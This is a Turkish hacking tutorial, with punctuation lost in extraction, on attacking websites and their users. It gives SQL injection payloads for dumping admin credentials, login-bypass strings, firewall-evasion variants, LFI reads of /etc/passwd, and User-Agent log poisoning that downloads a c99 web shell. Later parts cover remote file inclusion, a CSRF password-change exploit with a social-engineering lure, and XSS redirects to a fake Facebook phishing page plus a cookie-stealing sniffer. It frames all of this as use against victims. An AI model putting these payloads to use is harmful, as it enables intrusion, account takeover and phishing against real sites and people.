wwwsitecomsayfaphpid=1+order+by+99999999999999999-- yapıyoruz sayfada bir hata olmuyorsayfa değişmiyorBu String SQL İnjectionrsquodurHemen kullanımına geccediliyoruz

wwwsitecomsayfaphpid=1rsquo yaptık SQL Hatası aldıkHemen kolon oumlğrenelim

wwwsitecomsayfaphpid=1+order+by+10-- YaptıkSayfa eski haline geldiHata yok

wwwsitecomsayfaphpid=1+order+by+100-- YaptıkSayfada gene bir hata soumlz konusu değil

wwwsitecomsayfaphpid=1+order+by+1000-- gene bir hata yokBurada String devreye giriyor

Hemen bakalım wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquox yaptıkSayfa değişmedi hatavermediBurada sitemizin x=x mi olduğunu sorguladıkBir değişiklik olmadı yani bize olumlu youmlndecevap verdi

wwwsitecomsayfaphpid=1rsquo and lsquoxrsquo=rsquoy dedikBize olumsuz bir yanıt verdiGirdiğimiz lsquo and lsquoxrsquo=rsquoykomutu ile siteye x=y mi diye sordukOlumsuz bir yanıt almıştıkSite bize X Nasıl Y lsquoye eşit olabilir diyefırccedila attı )

Biraz olsa Blind SQL İnjectionrsquoa benziyor bu tuumlr

Hemen kolon sayısını ccedilekelim wwwsitecomsayfaphpid=-1rsquo union select+0123 and lsquoxrsquo=rsquox diyesorgu goumlnderiyoruzFakat burada 0123 dikkatOumlnce 0 dan başlıyoruzteker teker ilerliyoruzSayfayakolon sayıları yansıyana kadar devam ediyoruzEkrana 2 nin yansıdığını farz ederek devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(table_name)+from+informations_schematables+where+table_schema=database())3and lsquoxrsquo=rsquox

Yansıyan kolon sayısı 2 idiBizde 2 uumlzerinden işleme devam ettikNormal şartlardafrom+information sorgusu satırın sonunda iken burada tuumlm goumlrevi 2 kolona devrettikFakatunutmayalım Parantezler iccedilerisinde

Evet tablolar yansıdıOumlrnek olarak admin tablosunun yansıdığını farz edelim ve devam edelim

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(column_name)+from+informations_schemacolumns+where+table_schema=database()+and+table_name=rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Evet admin tablosundaki sutuumlnları yani kolonları yansıttıkKolonlar emailidusernamepasswordolduğunu farz ediyoruz

wwwsitecomsayfaphpid=99999999rsquo and union select+01(selectgroup_concat(usernamepassword)+from+rsquoadminrsquo)3 and lsquoxrsquo=rsquox

Şeklinde Kadı ve Şifreyi ccedilektik

e-) SQL İnjection Login Bypass

SQL İnjection Login Bypass ccedilok basit bir injection tuumlruumlduumlrWeb Sitelerindeki Login Kısımlarındameydana gelen bu accedilık birccedilok web sitesinde mevcutturBir admin panelini hedef alarak saldırıyabaşlayalım

Bu tarz bir login kısmı olduğunu farz edelimBurada Kullanıcı adını ve Şifresini bypass edeceğizPekinasıl

SQL İnjection da login panelleri iccedilin bypass kodları mevcutturBunlardan birkaccedilrsquoını vereyim sizlere

adminrsquomdash

rsquo or 0=0 --

rsquo or rsquo 1=1

rsquo or rsquo 1

rsquo or rsquo

or 0=0 --

or 0=0 --

rsquo or 0=0

or 0=0

or 0=0

rsquo or rsquoxrsquo=rsquox

or x=x

rsquo) or (rsquoxrsquo=rsquox

rsquo or 1=1--

or 1=1--

or 1=1--

rsquo or a=a--

or a=a

rsquo) or (rsquoarsquo=rsquoa

) or (a=a

hi or a=a

hi or 1=1 --

hirsquo or 1=1 --

hirsquo or rsquoarsquo=rsquoa

hirsquo) or (rsquoarsquo=rsquoa

hi)or(a=a

Bu kodlar sayesinde Login kısmını bypass edebilirizBu accedilık ccediloğu web sayfasındamevcutturGenellikle panel yolu adminadminphp olan web sitelerinde goumlzuumlme batmadı değilEvet birbakalım kendimize bir bypass kodu seccediliyoruz

lsquoORrsquo lsquo=rsquo kodunu seccediltimŞimdi gerekli text kısımlarına yazalım

Evet resimde goumlruumllduumlğuuml gibi Kullanıcı adı ve şifre kısmına kodumuzu yazdıkGiriş Yap diyoruz

Goumlruumllduumlğuuml uumlzere giriş başarılı oldu ) Evet Login bypass bu kadar basit bir mevzu

f-) PostData SQL İnjection

Bu injection tuumlruuml ASPNET sitelerde textboxlarda mevcut olan bir accedilıktırDiğer HTMLsitelerde ise ltinput type=rdquotextrdquo lsquolarda mevcut bir accedilık tuumlruumlduumlrCcedilok basittirNormal bir SQL İnjectionaccedilığıda sitede accedilık analizi yapma şeklimiz şuydu wwwsitecomsayfaphpid=1rsquo idiBurada adıuumlstuumlnde POSTDATA yani POST Methotlarının kullanıldığı yerlerde bu injection saldırısınıyapacağızPeki nasıl

Şimdi iki adet text kısmı duumlşuumlnuumln Kullanıcı adı ve Şifreden oluşan

ŞeklindeBurada 2 adet Text mevcutBuraya injection saldırısı yapacağızŞimdi goumlrduumlğuumlmuumlzTextlere Normal İnjectiondaki saldırılar gibi lsquo veya lsquoa karakterlerini ekliyoruz

Evet ekledikten sonra GOumlNDER botunona basıyoruzKarşımıza

Şoumlyle bir SQL İnjection hatası ccedilıkarsa bu login dosyasında SQL İnjection accedilığı mevcutturdiyebilirizŞimdi tekrar login kısmına geri doumlnuumlyoruz ve kaynak kodunu goumlster diyoruz

ltform name=t1 method=POST action=loginaspxgt

Kaynak kodundaki oumlnemli olan yer uumlstteki Method durYani goumlnderilen veri POST MethoduylagoumlnderilmelidirPOST lsquoun diğer Methodlardan farkı ise POSTrsquoun hızlı ve guumlvenilir olmasıdır

Peki bu accedilığı nasıl kullanacağız

Kaynak kodunu alıyoruz bir notepadrsquoa yapıştırıyoruzDaha sonra ltform name=t1 method=POSTaction=loginaspxgt Kodundaki POST Methodunu GET Methoduna ccedileviriyoruzDaha sonra loginaspxdosyasının tam yolunu belirtiyoruzYani

ltform name=rdquot1rdquo method=rdquoGETrdquo actionrdquohttpsitecomloginaspxrdquogt

Kaynak kodlarında bu kısmı bu şekilde duumlzetip html uzantılı kaydediyoruzDaha sonra tekrar birtarayıcıda accedilıyoruz ve textlere lsquoa koyuruzLinkte wwwsitecomloginaspxkadi=rsquoaampsifre=rsquoaampSubmit=GF6nder şeklinde goumlzuumlkecektirwwwsitecomloginaspxkadi=arsquoa şekline SQL İnjection toolarıyla accedilığı kullanabilirsiniz

SQL İnjection saldırısını ve tuumlrlerini iliklerine kadar biliyorsunuz artık )

Şimdi sıra SQL Mod_Security order by union select komutların nasıl bypass edileceğini anlamayageldi

SQL İnjection Bypass

Merhaba arkadaşlar

Bu yazıda sizlere SQL İnjection da takıldığımız bize sorun ccedilıkaran bazı komutların bypass youmlntemlerinianlatmaya ccedilalışacağım Umarım yararlı olur

SQL İnjection lastik gibidir nereye ccedilekerseniz oraya gider Aynı şekilde sql injection bypassyoumlntemlerinde de bu olay boumlyledir

a)

Oumlncelikle sizlere baştan başlarsak order by komutunun nasıl bypass edileceğinden vekarşılaşabileceğimiz sorunlardan bahsedeyim

Order by komutunu sql injection saldırılarında kolon sayısı bulamak amacıyla kullanırız Ama bazenhedef sitede ki guumlvenlik duvarlarına takılır kalırız ve kullanmış olduğumuz komutu ccedilalıştıramaya biliriz

Burada hemen bypass devreye girmektedir Nasıl mı Bir Web Site duumlşuumlnuumln

wwwsayfamcomdosyaphpid=1rsquo yaptığımız vakit bize standart bir sql hatası verecektir

Burada sql accedilığı olduğunu anlarız Hemen order by komutu ile kolon sayısını oumlğrenmeye ccedilalışırız

wwwsayfamcomdosyaphpid=1+order+by+1-- fakat sayfadaki hata hala devam eder burada bypassdevreye girer Normal şartlarda order by 1 komutu ile sayfayı eski haline getirirken bu komutccedilalışmadı

Şimdi bunu nasıl bypass edeceğimizden bahsedelim SQL injection bypasslarin de genellikle specialchars dediğimiz oumlzel karakterler devreye girer Burada ki order by komutunu hep beraber bypassedelim

wwwsayfamcomsayfaphpid=1)+order+by--+ burada ki komutumuz da uumlstteki order by dan farklıolarak 1-2 oumlzel karakter kullandık + ve )

order+by+1mdashsonuna + koyduk

id=1 değerinin başına da ) koyduk

Tekrar sorguyu ccedilalıştırdığımızda sayfa eski haline doumlnecektirAyın şekilde

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1orderby1--

wwwsayfamcomsayfaphpid=1+(order)+(by)+1--

wwwsayfamcomsayfaphpid=1+order+by+1--

wwwsayfamcomsayfaphpid=1+order+by+1-- şeklinde bypassler soumlz konusu olabilir Kısacahepsi aynı goumlrevi goumlruumlyor buradaki bypass sizin hayal guumlcuumlnuumlze kalmıştır

b)

Bu sefer de union select komutunu gerccedilekleşen aksi bir durum da nasıl bypass edeceğimizigoumlstereceğim

Tekrar bir sayfa duumlşuumlnmenizi istiyorum O değilde bir şeyleri duumlşuumlnmenizi isteyince kendimi arefzannetim bir an )) Neyse şamatayı bırakalım işimize bakamlım tekrar bir site duumlşuumlnelim

wwwsayfamcomsayfaphpid=1rsquo koyduk sql hatamızı aldık

wwwsayfamcomsayfaphpid=1+order+by+1-- yaptık eski haline doumlnduuml sayfamız

wwwsayfamcomsayfaphpid=1+order+by+10-- yaptık hata aldık 9 yaptık hata almadık kolonsayımız 9 hellip

Şimdi ekrana kolon sayılarımızı yansıtma işlemine geccedilelim bunun iccedilin union select komutunukullanacağız

wwwsayfamcomsayfaphpid=1+union+select+123456789--

yaptık sayılar sayfaya yansımadı veya forbidden hatası verdi Şimdi ne yapacağız Tekrar aklımızaoumlzel karakterlerimizi getirerek mantığa uygun bir biccedilimde bypass girişimlerini yapalım

Bir bypass da kullanabileceğimiz bazı karakter oluşumları

---+-- -00Şimdi bunları kullanarak biraz oyun oynayalım ne dersiniz ))

İlk olarak

wwwsayfamcomsayfaphpid=1+union+select+123456789--

deneyelim Baktık ki sayfaya tekrar yansımadı Burada pes etmeyeceğiz demiştik sql injection lastikgibidir nereye ccedilekerseniz oraya gider diye Hayal guumlcuumlnuumlze goumlre karakterlerimizi tek tek yazalım vetekrar sorgulatalım bu iş iccedilin sabır gereklidir en sonunda istediğinizi alınca his edeceğiniz o sevinccedilduygusunu tarif edemem ))

wwwsayfamcomsayfaphpid=-1+unIoN+SeLecT+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+(union+select+123456789--)

wwwsayfamcomsayfaphpid=-1unionselect123456789--+

wwwsayfamcomsayfaphpid=-1+union+select+123456789--

wwwsayfamcomsayfaphpid=-1+unionampa=selectampa=123456789-- -

wwwsayfamcomsayfaphpid=1 and (select 1)=(Select 0xAAAAAAAAAAAAAAAAAA 1000 AdetAs)+UnIoN+SeLeCT+123456789--+

wwwsayfamcomsayfaphpid=1+UnioN+SELECT+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN)+(SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnIoN+SelECT)+123456789--

wwwsayfamcomsayfaphpid=1+(UnI)(oN)+(Sel)(ECT)+123456789--

wwwsayfamcomsayfaphpid=1+UnIon+SeLeCt+123456789--

şeklinde onlarca bypass teknikleri bulunmaktadır ))

c)

Evet arkadaşlar b) yan başlığında goumlrduumlğuumlmuumlz uumlzere union select komutunu bypass ettik ve karşımızakolon sayıları yansımıştır Biz 469 sayılarının yansıdıklarını farz ederek devam edelim

Şimdi sırada group_concat komutunun bypass edilmesinde

Tekrar bir web site hayal ediyoruz bu sefer union select ile sayılar ccedilekilmiş bir şekilde

wwwsayfacomsayfaphpid=-1+union+select+123456789--

ne demiştiş 469 yansımıştı 4 den devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde tablo isimlerini ccedilekmeye ccedilalıştık karşımıza forbidden veya farklı bir hata geldi

Group_concat bypass tipleride aynı mantıkla yapılır

group_concat()

grOUp_ConCat(user0x3epass)

group_concat(0x3c62723e)

şeklinde uygulamalar yapacağız

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

veya

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name)56789+from+information_schematables+where+table_schema=database()--

ve

wwwsayfacomsayfaphpid=-1+union+select+123grOUp_ConCat(table_name hexlenmiş şekli)56789+from+information_schematables+where+table_schema=database()--

şeklinde bypasslar soumlz konusudur

d)

Şimdi sıra group_concat ile tablo isimlerini ccedilekecek iken karşımıza ccedilıkan forbidden hatasını aşmayageldi ))

Taktiklerimiz aynıdır tekrar aynı site ile devam edelim

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

şeklinde yaptık bize tablo isimlerini vermedi

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(table_name)56789+from+information_schematables+where+table_schema=database()--

yapıyoruz karşımıza tablo isimleri geliyor )) Mantığını anladığınız iccedilin kısa kesiyorum

e)

Şimdi sıra geldi ccedilektiğimiz tablo isimlerinin iccedilerisindeki suumltuumlnları sorgularken karşımıza gelen hatayınasıl aşabileceğimizden Ccedilektiğimiz tablo isimlerinden birisi admin olsun biz admin tablosununiccedilindeki kolonları yani suumltuumlnları alacağız şoumlyle bir sorgu duumlşuumlnuumln

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=database()+and+table_name=admin--

buradaki sorguda ne dedik ldquoAdmin tablosunun iccedilerisinde kolonları bize verrdquo

Sorguyu goumlnderiyoruz fakat bize kolonları vermiyor burada hex devreye girecek database() ve adminsorgusunu hexleyerek sorgu yapmayı deneyeceğiz

wwwsayfacomsayfaphpid=-1+union+select+123group_concat(column_name)56789+from+information_schemacolumns+where+table_schema=0x64617461626173652829+and+table_name=0x61646d696e--

Evet bu şekilde goumlnderdiğimiz sorguda kolon isimleri karşımıza geldi ))

Evet sql injection da bypass serisi burada sona eriyor Umarım anlatabilmişimdir sizde kolaylıklaanlamışsınızdır

Siz dediğimi unutmayın SQL İnjection lastik gibidir nereye ccedilekersek oraya gidicek

LFI(Local File İnclude)

1- Local File İnclude Nedir

LFI (Local File İnclude) Yerel dosya ccedilağırmak anlamına gelirBu accedilık şuanda bu o kadar guumlnceldeğildirAma bazı sitelerde nadir olarak goumlruumllebiliyorBen bu accedilıktan bahsetmeyecektim ama WebGuumlvenlik Accedilıkları denildiği zaman tuumlm WEB UYGULAMALARINI KapsıyorBu sebep yuumlzuumlndenbahsedeceğim

2- Local File İnclude Mantığı Nedir

LFI Accedilığının mantığı server uumlzerinde dosyaları okumaktırOumlrnek olarak etcpasswd dosyasındanbahsedeyimServerdaki tuumlm sitelerin USERrsquolarının bulunduğu dosyadırBu accedilık sayesinde Serverdakidosyaları okuma şansımız oluyor

3- Saldırı Anı (Accedilığın Tespiti)

Bir Web Sayfası duumlşuumlnuumln wwwsitecomsayfaphpid=2 şeklinde olsunBurada LFI Olup olmadığınışoumlyle anlayabiliriz

wwwsitecomsayfaphpid= yaptığımızda sayfada eğer bir SQL İnjection hatası veya dosyabulunamadı şeklinde bir hata varsa orada LFI OlabilirPeki Hata olarak nasıl bir hatadan bahsediyoruz

Bize verilen hatadan yola ccedilıkalım

Warning include() ldquohomeuserpublic_htmlsayfaphprdquo

Şeklinde bir hata alıyorsak LFI Vardır diyebiliriz

4- Saldırı Anı 2 (Accedilığın Kullanımı - Aksi Halde Bypass)

Ne demiştikSitemizde Warning include() ldquohomeuserpublic_htmlsayfaphprdquo şeklinde hata aldık

Accedilığı etcpasswd şeklinde etcpassword dosyasını okuyarak anlayabilirizFakat burada dizinsayısı oumlnemlidirHatada kaccedil adet dizin var bakalım

home -gt 1

user -gt 2

public_html -gt 3

sayfaphp -gt 4

Evet 4 Adet dizin mevcutturKoyacağımız işareti 4 adet olmalıdır

wwwsitecomsayfaphpid= etcpasswd şeklinde

-HTML Code

HTML kod ccedileviriciler mevcuttur internet uumlzerindeEncode edeceğimiz komut

Komut etcpasswd

Encode 2F2F2F2Fetc2Fpasswd

Tekrar deneyelim

wwwsitecomsayfaphpid=2F2F2F2Fetc2Fpasswd ve okumak istediğimizetcpasswd dosyasını okuduk

- CharCode

CharCode Mozillanın Hackbar Eklentisinde MevcutturŞimdi tekrardan bir bakalım

wwwsitecomsayfaphpid=etcpasswd şekline okumak istediğimizde tekrar okumuyorHTMLcode encode şeklinde yaptık gene başarısızŞimdi CharCode şeklinde yapacağız

Komut etcpasswd

CharCode StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101 116 99 47 11297 115 115 119 100)

Evet doumlnuumlştuumlrduumlkŞimdi tekrar bakalım

wwwsitecomsayfaphpid=StringfromCharCode(46 46 47 46 46 47 46 46 47 46 46 47 101116 99 47 112 97 115 115 119 100)

Şeklinde okudukDosyamız başarılı bir şekilde okundu )

5- Saldırı Anı 3 (Accedilığı Kullanarak Siteye Dosya Yedirmek)

Accedilığın tespitinden bahsettikŞimdi bu accedilığı kullanarak dosya dahil edeceğizOumlnce mozillanın tamperdata eklentisini kurunDaha Tamper Data yı accedilınStartrsquoa tıklayın vewwwsitecomsayfaphpid=etcpasswd00 şeklinde sayfayı yenileyinOumlnuumlnuumlze gelen ilkuyarıya ldquoTAMPERrdquo Şeklinde cevap verinKarşınıza

Şeklinde bir panel gelecekUser-Agent Kısmındaki yazıları silin ve lt system(ldquocatwwwsitecomc99txt -O c99php ldquo) gt şeklinde Dosya adresinizi yazınYanlız dikkat edin yuumlklerkendosyayı txt uzantılı olmasına dikkat edinYazdıktan sonra tamam diyoruzVe dosyamız dahil edilmişoluyor

wwwsitecomc99php şeklinde ccedilagırabilirsiniz

6- Local File İnclude Nerelerde Tespit Edilebilir

a-) Search kutusu

Bir Search kutusu duumlşuumlnuumln

Buraya LFI Komutunu girip ara butonuna tıklayalım etcpasswd00 şeklinde

Eğer ekrana

Şeklinde komutumuz ccedilalışırsa bu demek oluyor ki Search dosyasında LFI Accedilığı mevcuttur

RFI(Remote File İnclude)1- Remote File İnclude Nedir

RFI(Remote File İnclude) Uzakdan dahil etmek anlamına gelirEskisi kadar olmasa da şuanda mevcutolan siteler var

2- Remote File İnclude Mantığı Nedir

Mantığı accedilık bulduğumuz siteye istediğimiz sitedeki bir dosyayı dahil etmektir

3- Saldırı Anı (Accedilığın Tespiti - Accedilığın Kullanımı - Aksi Halde Bypass)

Bir web sitesi duumlşuumlnuumln wwwsitecomdosyaphpid=2 olsunİd= değerinden sonraki 2 yi siliyoruz

wwwsitecomdosyaphpid= oluyorŞimdi burada accedilık olup olmaığını nasıl anlarız

Bir hostrsquoa dosyanızı txt uzantılı olarak atınDaha sonra sitede wwwsitecomdosyaphpid=httpwwwsitemcomc99txt şeklinde ccedilağırınEğer sayfada ccedilağırdığınızdosya ccedilalıştıysa accedilığı hem bulmuş hemde hazır hale getirmiş oluyorsunuz zaten

4- Remote File İnclude Nerelerde Tespit Edilebilir

a-Search kutusu

Bir Search (Arama) duumlşuumlnuumln

ŞeklindeBuraya httpsitecomc99txt şeklinde dosyanızın adresini txt uzantılı yazıp ara butonunatıkladığınızda eğer karşınıza dosya geliyorsa yani ccedilağırdığınız dosya burada RFI Accedilığı mevcutturBukadar basittir

CSRFXSRF (Cross-Site RequestForgery)

1-Oumlnsoumlz

XSRF CSRF Guumlvenlik zaafiyetleri guumlnuumlmuumlzde bir ccedilok yerde mevcutturCcedilok geniş kapsamlı bir accedilıkolmakla birlikte kullanımı da ccedilok kolaydır aslındaAma ccediloğu kimse karmaşık goumlruumlp hemen ipin ucunubırakmışlardırCcedilok yanlış ccediluumlnki bu yolda devam ederken tuumlm Web Application tuumlrlerini oumlğrenmek bizimyararımıza olurTabi misyon dahilinde

XSRF CSRF Accedilıkları aslında aynıdırYani XSRF ve CSRF diye ayrılması kafamızı karıştırmasın

2- Cross Site Request Forgery Nedir

Attacker bir web sitesinin kaynak koduna goumlmuumlluuml olan Javascript veya HTML Kodlarını uygun birexploit haline getirip kurbanın haberi olmadan session (oturum) bilgilerini elde etmesiyle olurBu accedilığısadece kurbanın şifrelerini almak diye bakmayalım ccediluumlnkuuml bu zaafiyet para transferi kredi kartıhırsızlıkları ve birccedilok koumltuuml emellere alet edilip milletin emeğini ccedilalabiliyorBurada yapılan tek şeykurbana goumlnderdiğimiz linke tıklamasıdır Kurban bunu yaparken olaylardan habersizdirTereyağındankıl ccedileker gibi bilgileri alır attacker

3- Cross-Site Request Forgery Nerelerde Kullanılır Ne İccedilin Kullanılır

Bu zaafiyet buumltuumln web applicationlarda bulunabilirYani ASPPHPHTML Sitelerde dahil olmak uumlzere

Yukarıda bahsettiğim gibi session bilgilerini ccedilalmak kredi kartı bilgilerini ccedilalmak ve bir ccedilok koumltuuml ameliccedilin kullanılır

4 Nasıl Kullanılır - Exploitlenir

Zaafiyeti exploitleme basittirHemen bir oumlrnekle devam edeyim

Bir Web sayfası hayal edinBu Web Sayfasında session şifrelerini değiştirme dosyası olsunwwwsitecomforumpasswordegistirphp şeklindeBu bir forum sitesi olarak duumlşuumlnuumlnSiz foruma girişyaptınız ve şifrenizi değiştirmek istiyorsunuzŞifrenizi değiştirdiğiniz vakit

wwwsitecomforumpassworddegistirphpyenipassword=mahserat

Burada sizin şifreniz mahserat olarak değiştirilmiştirYani linkte goumlreceğiniz gibi burada bir XSRFCSRFzaafiyeti mevcutturHemen degistirdiğniz şifre linkinin kaynak koduna goumlz atalımKaynak kodundanltformgtltformgt taglarını arayalım

Burada goumlrduumlğuumlnuumlz gibi bilgiler GET methoduyla alınmışGETPOST Methodu tercih edileceği yerde

Daha sonra kullanıcıdan alınan veri passworddegistirphp dosyası aracılığıyla değiştirilir

Şimdi biz bunu exloitleyelim yani kullanılır hale getirelim şimdi kaynak kodlarını tekrar alıyoruz birnotepad iccedilerisine yapıştırıyoruzDaha sonra action=rdquopassworddegistirphprdquo dosyasının tam linkinibelirliyoruzYani action=rdquohttpsitecomforumpassworddegistirphprdquo şeklindeDaha sonraname=rdquosifrerdquo kısmına şifremizi yazıyoruz name=rdquo12345rdquo şeklindeDeğiştirdikten sonra kodlara tekrargoumlz atalım

Evet tamamdırŞimdi bunu html uzantılı kaydediyoruz ve hostumuza atıyoruzSonrasında linki kurbanagoumlndereceğizBurada devreye SM (Sosyal muumlhendislik) giriyorSosyal muumlhendislik bilginizin birazolması gerekirMesela şoumlyle yedirebiliriz kurbana

NOT Kurbanın hoşlandığı tarz yolundan gidersiniz daha iyi sonuccedil alırsınızOumlrnek olarakkurbanımız Play Station oynamayı seven biri biz kurbana bu linki Play Station uygulaması veyaoyunu şeklinde yedirebilirizOumlrnek

Merhaba kardeşim

Bir Play Station uygulaması geliştirdimBir goumlz gezdirirmisin nasıl olmuş

Uygulama httpmehmetkelepceorgdosyahtml

Gibisinden bir SM Youmlntemi ile yedirebilirsinizBurada dosyahtml bizim exploitlediğimiz uygun halegetirdiğimiz kodlardırTıkladığı anda kurbanın şifresi 12345 olarak değişecek

5- XSS ve CSRF Arasındaki Benzerlikler

CSRF Saldırısı XSS Saldırısında iccediline alan bir saldırı tipidirYani XSSrsquoin olduğu yerde CSRF accedilığınınolması 80 gibi bir orandır

Evet saygı değer canlarBu uzun seruumlvenimiz burada sona erdi ) Web Guumlvenlik Accedilıkları harikulade birboumlluumlmalanrsquodırDaha da ilerlemeniz ilminizi ve bilginizi daha da yukarılara ccedilıkarmanız dileğiyle

Page 9: Web Güvenlik Açıkları ve Kullanımı (Geniş Anlatım)

Evet XSS Alert kodumuzu da yazdıktan sonra cevap yaz butonuna tıklıyoruzEğer ki XSS Accedilığıolsaydı alert alacaktıkKonuya giren kişiler tarafından da goumlruumllecektiYani bu kod onlar konuya girildiği

esnada ccedilalışacak ve onlara da alert verecektiBuraya ben XSS Alert kodu değil de Fake sayfamayoumlnlendirmesi iccedilin bir kod yazsaydım konuya giren kişiler benim belirlediğim adrese youmlnlenecektiAma

oumlyle bir accedilık olmadığı iccedilin CW lsquode başka kapıya ))

6-Saldırı Anı (Accedilığın Bulunması) - Accedilığın Bypass Edilmesi(Engellerin Aşımı)

Bir Web Sayfası duumlşuumlnuumln wwwhedefcomindexphpid=

XSS Accedilığı arayalım hemen wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Yaptık Ekrana alert yansımadıPesmi edeceğiz Hayır tabi ki deHerşeyin bir yolu olduğu gibibununda bir yolu varNormal şartlarda bu sitede accedilık olduğunu duumlşuumlnuumlnAma bize alert vermediBizde

bu accedilığı bypass ederek ekrana alertrsquoımızı alacağızNasıl mı

a-) HTML Bypass Code

Evet ilk bypass youmlntemimizde ltscriptgtalert(ldquoMahserrdquo)ltscriptgt Alert kodumuzu HTML Encodeedecez yani ŞifreleyeceğizHemen bakalım

Ne Yaptık HTML Encoder ile kodumuzu şifreledikŞimdi bu şekilde accedilık analizi yapalım

wwwhedefcomindexphpid= ltscripttype=textjavascriptgtdocumentwrite(rsquou007Fu003Cu0073u0063u0072u0069u0070u0074u003Eu0061u006Cu0065u0072u0074u0028u0022u004Du0061u0068u0073u0065u0072u0022u0029u003Bu003Cu002Fu0073u0063u0072u0069u0070u0074u003Ersquo)ltscriptgt

Bu sefer ekrana alert yansıdığını goumlreceksiniz

b-) Bypass JavaScript Code

Evet bu şıkkımızda ise Javascript kodlarıyla oynayarak bypass youmlntemini gerccedilekleştiricezTekrarhedef site uumlzerine yoğunlaşalım

wwwhedefcomindexphpid= ltscriptgtalert(ldquoMahserrdquo)ltscriptgt

Şeklinde giriyoruzAlert alamadıkHemen kodlarla oynayalım farkı goumlrelim

Evet kodumuzla oynadık tekrar hedef site uumlzerinde accedilık analizi yaptığımızda alert alacağız

c-)Normal Bypass

Sıra Geldi Normal Bypass YolunaBu bypass tuumlruumlnde alert kodumuzla pek oynamayapmayacağızAlert kodumuzun başına bir muumldahalede bulunarak alert alacağız

Evet bu şekilde de farklı bir bypass youmlntemi uyguladıkBurada ki ldquogt kodu daha anlaşılır ve koda netlikkatarBu yolla da bir alert aldıkSıra geldi accedilığın uygun kullanımına

7-Saldırı Anı2 (Accedilığın Uygun Kullanımı) -

Cross Site Scripting accedilığını bulduktan sonra en oumlnemli faktoumlrlerden birisi de accedilığın uygunkullanımıdırAccedilığı ne kadar iyi soumlmuumlruumlrseniz sizin iccedilin o derece iyidirXSS Accedilığının sadece site

hacklemek iccedilin değil Siteye uumlye kişilerin bilgilerini almak iccedilin hesapları ele geccedilirmek iccedilin veya bir

kurbana phising fake benzeri sayfalar yutturmak iccedilin de kullanabilirsinizBiz bu sefer XSS Accedilığınıkurbanı fake facebook sayfamıza youmlnlendirmek iccedilin kullanacağızHemen başlıyoruz

Hedef sitemiz wwwtargetcom olsunAccedilığı bulduğumuz dosya homephp dosyası olsun ve veriyi idile ccedilagırsın wwwtargetcomhomephpid= şeklinde

Şimdi biz buraya oumlyle bir kod yazağız ki bizi hazırladığımız fake facebook sayfasına youmlnlendirsin

Yazacağımız kod şu şekildedir

wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref= wwwfakefacebooksayfamcomltscriptgt

Evet sorguyu site uumlstuumlnde ccedilagırdığımız da bizi wwwfakefacebooksayfamcom adresineyoumlnlendiricektirBunu kurbana atacaksınızFakat link ccedilok uzun kurbanımız burada bir şeytanlık

olduğunu anlayabilirPeki ne yapacağız httpsbitlycom adresine giriyoruzSağ uumlst koumlşede birkutucuk mevcutO kısma wwwtargetcomhomephpid=gtltscriptgtdocumentlocationhref=

wwwfakefacebooksayfamcom ltscriptgt

adresimizi yazıyoruz ve Shorten butonuna tıklıyoruz Burada yaptığımız işlem link kısaltmaktır

Bize httpbitly49856821 Şeklinde bir kısaltılmış link verecekKurban link kısa olduğu iccedilinşuumlphelenmezBu şekilde kurbana yedirme şansımız vardır

8-Saldırı Anı3 (Uygun Sniffer YazılımıSniffer Nedir)

Sniffer Nedir

Sniffer kelime manasıyla koklayıcı anlamına gelirSniffer birccedilok şeyi iccedilin kullanılabilirBiz burada XSSSniffer hazırlayacağızXSS Sniffer ne işe yarar diye soracaksınızBir XSS Accedilığı bulduğumuzu farzedelimAdmin in veya Siteye uumlye olan kullancıların Cookiersquolerini Ccedilalıcaz ve Kendi cookielerimizle

değiştirip o kullanıcı adına giriş yapmış olacağızBulduğumuz accedilığı Snifferrsquoa kuracağızDaha sonrakendi hostumuza atacaz ve snifferrsquoı kurbanrsquoa tıklatacağızBu Şekilde Kurbanın Cookielerini

ccedilalacağızYani biraz olsa da Sosyal Muumlhendislik ile alakalıdır

İşleme başlamadan Sniffer dosyalarını vereyim sizlere

Bu linkten ulaşabilirsiniz - gt httpswwwboxcomsd45q4d5ywdzxwcn7n7wn

Hemen kuruluma geccediliyoruz

Editleyeceğimiz dosyalar ldquochjs ve indexhtml ilk olarak chjs dosyasını accedilıyoruz

httpSİTE ADRESİSniffersnifferphpc= Şeklinde bir yazıyla karşılaşıyoruz SİTE ADRESİ yazankısma dosyaları atacağımız sitenin adresini yazıyoruz(Sniffer dosyası adı altında)

httpbenimsitemcomSniffersnifferphpc= kaydedip kapatıyoruz

Şimdi ise indexhtml dosyamızı editleyeceğiz Notepad de accediltığınızda httpXSS ADRESİ= şeklindebir yazıyla karşılaşacağızXSS Adresi yazan kısma XSS Accedilığını bulduğumuz siteyi yazalım

httptargetcomindexphpid= yazdıktan sonra biraz sag tarafta bulunan httpSİTEADRESİSnifferchjs

SİTE ADRESİ yazan kısmada uumlstte olduğu gibi kendi sitemizin adini yazıyoruz

httpbenimsitemcomSnifferchjs yazdıkKaydedip kapatıyoruz

